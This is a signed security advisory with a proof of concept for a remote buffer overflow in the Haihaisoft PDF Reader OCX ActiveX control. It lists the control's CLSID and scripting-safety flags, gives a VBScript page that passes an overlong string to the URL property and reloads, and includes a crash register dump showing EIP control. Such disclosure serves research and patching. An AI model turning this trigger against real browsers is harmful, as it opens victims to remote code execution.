Haihaisoft PDF Reader OCX Control 1.1.2.0 – Remote Buffer Overflow (PoC)
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 ================================================================================== ================================================================================== Haihaisoft PDF Reader OCX Control Remote Buffer Overflow url: http://www.haihaisoft.com/ ================================================================================== ================================================================================== Author: shinnai mail: shinnai[at]autistici[dot]org site: http://www.shinnai.altervista.org/ This was written for educational purpose. Use it at your own risk. Author will be not responsible for any damage. Tested on: Windows XP Professional SP3 full patched, Internet Explorer 8 Windows 2k Professional SP4 full patched, Internet Explorer 6 ================================================================================== ================================================================================== File name: PDFReaderOCX.ocx Version: 1.1.2.0 ProgID: PDFReaderOCX.PDFReaderOCXCtrl.1 GUID: {28CB49D6-E530-442B-A182-79F047C3AA1B} Descr.: PDFReaderOCX Control Marked as: RegKey Safe for Script: True RegKey Safe for Init: True Implements IObjectSafety: False ================================================================================== ================================================================================== This control contains 19 members, as follow: Members: 19 URL Language UnicodeURL ZoomOutput ViewOutput View_ContinuousOutput UpdateURL DownloadURL m_ViewDir RequiredVersion Zoom View Rotate GoTo Open Close UILanguage Print DRMRights Particularly this one "URL" results vulnerable to a buffer overflow if you pass an overly long string (more than 2048 bytes) as filename and browse to the crafted web page (e.g. http://www.SomeSite.com/File.pdf) and then refresh the page. ================================================================================== ================================================================================== Proof of concept: <object classid='clsid:28CB49D6-E530-442B-A182-79F047C3AA1B' id='test'></object> <script language="vbscript"> buff = "AAAAAAAAAAAAAAABBBB" + String(2011, "C") test.URL = buff Function tryMe() document.location.reload End Function Sub Window_OnLoad setTimeout "tryMe()",2000 End Sub </script> ================================================================================== ================================================================================== Registers: 17:07:08.406 pid=0410 tid=02DC EXCEPTION (first-chance) ---------------------------------------------------------------- Exception C0000005 (ACCESS_VIOLATION reading [42424242]) ---------------------------------------------------------------- EAX=0275CD80: 20 82 75 02 78 5E 75 02-41 41 41 41 41 41 41 41 EBX=0275B978: CC 09 6B 02 00 00 00 00-00 00 00 00 98 B4 75 02 ECX=02755E78: 80 CD 75 02 C0 BA 75 02-00 00 00 00 58 64 3D 02 EDX=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ESP=0297C5B0: 9F 9D 28 02 F0 A1 75 02-C4 C5 97 02 25 5C 29 02 EBP=0297FFB4: EC FF 97 02 BC B3 6B 79-78 5E 75 02 80 DF 12 00 ESI=0275BAC0: 78 5E 75 02 78 01 75 02-00 08 00 00 00 00 00 00 EDI=0275A1F0: BC 09 6B 02 00 00 00 00-00 00 00 00 0C A2 75 02 EIP=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? --> N/A ---------------------------------------------------------------- ================================================================================== ================================================================================== -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.10 (MingW32) iQIcBAEBAgAGBQJMQDW4AAoJELleC2c7YdP1cg4P/jD0oq/osKQYYt1xfXCei9Ag rkSyP9D91IwiTW5VQqnEfeDDBRsHAa7Y2xm7O7ZK5tkj1cTKnijyiSOHBum/V94v oA9UGWJDzk2ztjHlUvHA2zrF9uxFxGQRxI+TgJlS9PgGvw3BYDT0ZwemniRY6wtS PMbxiDRKGESPG6xCDCP1XLWUqdEUmlNchkzG1s6dqEbTfYmPcJTP/ffWS7glcJya 3eDoXIGqESBHMtRUKr8JFlEeI/ZpfZ83g5EiomP0KQoQreBBbdx1mER0EpCfgNuo uBUwnZtkD5LA9kFL0mrnG4SC6KEw7s2gWKXwiXesZ8JI8Fuy/nvGy2na+yksTd/h PQpMwtvR8eX1A3z4BZUV4OhgJB8oweAyI0TJUBi3F8VgDDGGDVcrR57HU8gX3S8T Ft5j/xbO2qqCGb9hlgAhV1fQAa+HxXKtrPLp2arsnFCkLU4RINyH3TKK07pT3GSG 009qBpYL//hvV7pwv+pvYfrcZSrDf1yyU3cirVjSAkG23CdicHw7+woj9LgTMNR6 e4wys8kziNfCUVcfseTGWGAVKELxZyJvNhKz8Y6pXg7oSuz41bhf+uozjl/beBPz jOKy6mfUCW2PogRvVOj8j/zkiseDtM3UjMazYuaBUmO8DNl8gpLFL007MN5dbLHM QAGnwRHZypdNlz79bX/+ =kM0M -----END PGP SIGNATURE----- |